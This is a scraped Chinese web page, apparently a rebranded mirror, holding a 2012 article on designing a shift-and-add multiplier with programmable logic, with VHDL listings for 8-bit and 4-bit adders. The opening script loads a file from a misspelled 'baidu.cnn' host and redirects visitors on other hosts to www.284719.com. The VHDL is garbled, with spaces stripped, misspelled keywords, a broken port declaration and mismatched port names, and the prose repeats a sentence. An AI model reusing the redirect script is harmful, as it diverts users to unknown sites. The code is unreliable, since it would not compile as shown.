else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com'); 可编程逻辑技术在数字信号处理系统中的应用_九五至尊网站 )(); var sAdClassIDs=""; sAdClassIDs="ybzhan;,5612,4140,3985,5611";

九五至尊网站

产品推荐:水表|流量计|压力变送器|热电偶|液位计|冷热冲击试验箱|水质分析|光谱仪|试验机|试验箱


九五至尊网站>技术中心>故障维护>正文

欢迎联系我

有什么可以帮您? 在线咨询
jQuery(document).ready(function () { var xwtkq = Vivian.GetCloseAppKfTalkToUserIDorCompanyID("","442353").value; if (xwtkq == "0") { jQuery("#Consultation").bind("contextmenu click",function () {ChangeTopHeight(0,68580,0,442353); ); else{ jQuery("#Consultation").hide(); )

可编程逻辑技术在数字信号处理系统中的应用

   2012年04月17日 16:46  
  1、引言
  
  随着半导体技术的发展,可编程逻辑器件在结构、工艺、集成度、功能、速度和灵活性等方面有了很大的改进和提高,从而为率、高质量、灵活地设计数字系统提供了可靠性。CPLD或FPGA技术的出现,为DSP系统的设计又提供了一种崭新的方法。利用CPLD或FPGA设计的DSP系统具有良好的灵活性和*的实时性。同时,其价格又可以被大众接受。由于乘法器在数字信号处理系统中具有广泛的应用,所以本文以乘法器的处理系统中具有广泛的应用,所以本文以乘法器的设计为例,来说明采用可编程逻辑器件设计数字系统的方法。如果想使系统具有较快的工作速度,可以采用组合逻辑电路构成的乘法器,但是,这样的乘法器需占用大量的硬件资源,因而很难实现宽位乘法器功能。本文这种用于序逻辑电路构成的乘法器,既节省了芯片资源,又能满足工作速度及原理的要求,因而具有一定的实用价值。
  
  2、系统构成
  
  该乘法器通过逐项移位相加来实现乘法功能。它从被乘数的zui低开始,若为1,则乘数左移后再与上一次的和相加;若为0,左移后与0相加,直到移到被乘数的zui高位。图1是该乘法器的系统组成框图。该控制模块的STAR输入有两个功能:*个功能是将16位移位寄存器清零和被乘数A[7…0]向8位移位寄存器加载;第二个功能为输入乘法使能信号。乘法时钟信号从CLK输入,当被乘数加载于8位移位寄存器后,它由低位到高位逐位移出,当QB=1时,选通模块打开,8位乘数B[8…0]被送入加法器,并与上一次锁存在16位锁存器中的高8位相加,其和在下一个时钟上升沿被锁存到锁存器内;当QB=0时,选通模块输出为全0。如此循环8个时钟脉冲后,由控制模块控制的乘法运算过程自动中止。该乘法器的核心元件是8位加法器,其运算速度取决于时钟频率。
  
  3、加法器的实现
  
  加法器的设计需要考虑资源利用率和进位速度这两个相互矛盾的问题,通常取两个问题的折衷。多位加法器的构成有并行进位和串行进位两方式,前者运算速度快,但需占用较多的硬件资源,而且随着位数的增加,相同位数的并行加法器和串行加法器的硬件资源占用差距快速增大。实践证明,4位二进制并行加法器和串行加法器占用的资源几乎相同,因此,由4位二进制并行加法器级联来构成多位加法器是较好的折衷选择。以下为由两个4位二进制并行加法器级联构成8位二进制加法器的VHDL程序:
  
  LIBRARYIEEE;
  
  USEIEEE.STD_LOGIC_1164.ALL;
  
  USEIEEE.STD_LOGIC_UNSIGNED.ALL;
  
  ENTITYADDER8BIS
  
  PORT(CIN:INSTD_LOGIC;
  
  A:INSTD_LOGIC_VECTOR(7DOWNTO0);
  
  B:INSTD_LOGIC_VECTOR(7DOWNTO0);
  
  S:OUTSTD_LOGIC_VECTOR(7DOWNTO0);
  
  OUT:OUTSTD_LOGIC);
  
  ENDADDER8B;
  
  ARCHITECTUREstrucOFADDER8BIS
  
  COMPONENTADDER4B
  
  PORT(CIN4:INSTD_LOGIC;
  
  A4:INSTD_LOGIC_VECTOR(3DOWNTO0);
  
  B4:INSTD_LOGIC_VECTOR(3DOWNTO0);
  
  S4:OUTST_D_LOGIC_VECTOR(3DOWN-TO0);
  
  COUT4:OUTSTD_LOGIC);
  
  ENDCOMPONENT;
  
  SIGNALCARRY_OUT:STD_LOGIC;
  
  BEGIN
  
  U1:ADDER4B
  
  PORTMAP(CIN4=>CIN,A4=>A(3DOWNTO0),B4=>B(3DOWNTO0),S4=>S(3DOWNTO0),COUT4=>CARRY_OUT);
  
  U2:ADDER4B
  
  PORTMAP(CIN4=>CARRY_OUT,A4=>A(7DOWNTO4),B4=>B(7DOWNTO4),S4=>S(7DOWNTO4),COUT4=>COUT);
  
  ENDstruc;
  
  在上面的VHDL描述中,ADDER4B是一个4位二进制加法器,其VHDL描述是:
  
  LIBRARYIEEE;
  
  USEIEEE.STD_LOGIC_1164.ALL;
  
  USEIEEE.STD_LOGIC_UNSIGNED.ALL;
  
  ENTITYADDER4BIS
  
  PORT(CIN4:INSTD_LOGIC;
  
  A4:INSTD_LOGIC_VECTOR(3DOWNTO0);
  
  B4:INSTD_LOGIC_VECTOR(3DOWNTO0);
  
  S4:OUTSTD_LOGIC_VECTOR(3DOWNTO0);
  
  COUT4:OUTSTD_LOGIC;
  
  EANDADDER4B;
  
  ARCHITEC_TUREbehavOFADDER4BIS
  
  SIGNALSINT:STD_LOGIC_VECTOR(4DOWNTO0);
  
  SIGNALAA,BB:STD_LOGIC_VECTOR(4DOWNTO0);
  
  BEGIN
  
  AA<=‘0’&A4;
  
  BB<=‘0’&B4;
  
  SINT<=AA+BB+CIN4;
  
  S4<=SINT(3DOWNTO0);
  
  COUT4<=SINT(4);
  
  ENDbehav;
  
  4、结束语
  
  本文采用基于EDA技术的自上而下的系统设计方法,其设计流程如图2所示。该乘法器的zui大优点是节省芯片资源,其运算速度取决于输入的时钟频率。如若时钟频率为100MHz,则每个运算周期仅需80ns,因而具有一定的实用价值。
var regex = /(.*\:\/\/[^\/]*).*/; var match = url.match(regex); if(typeof match != "undefined" && null != match) { host = match[1]; return "" + host + "";

免责声明

  • 凡本网注明“来源:九五至尊网站”的所有作品,均为浙江兴旺宝明通网络有限公司-九五至尊网站合法拥有版权或有权使用的作品,未经本网授权不得转载、摘编或利用其它方式使用上述作品。已经本网授权使用作品的,应在授权范围内使用,并注明“来源:九五至尊网站”。违反上述声明者,本网将追究其相关法律责任。
  • 本网转载并注明自其它来源(非九五至尊网站)的作品,目的在于传递更多信息,并不代表本网赞同其观点或和对其真实性负责,不承担此类作品侵权行为的直接责任及连带责任。其他媒体、网站或个人从本网转载时,必须保留本网注明的作品第一来源,并自负版权等法律责任。
  • 如涉及作品内容、版权等问题,请在作品发表之日起一周内与本网联系,否则视为放弃相关权利。
联系我们

客服热线: 13199863987(同微信)

加盟热线: 13199863987(同微信)

媒体合作: 0571-87759945

投诉热线: 0571-87759942

关注我们
  • 下载仪表站APP

  • Ybzhan手机版

  • Ybzhan公众号

  • Ybzhan小程序

温馨提示

该企业已关闭在线交流功能

);
document.write("")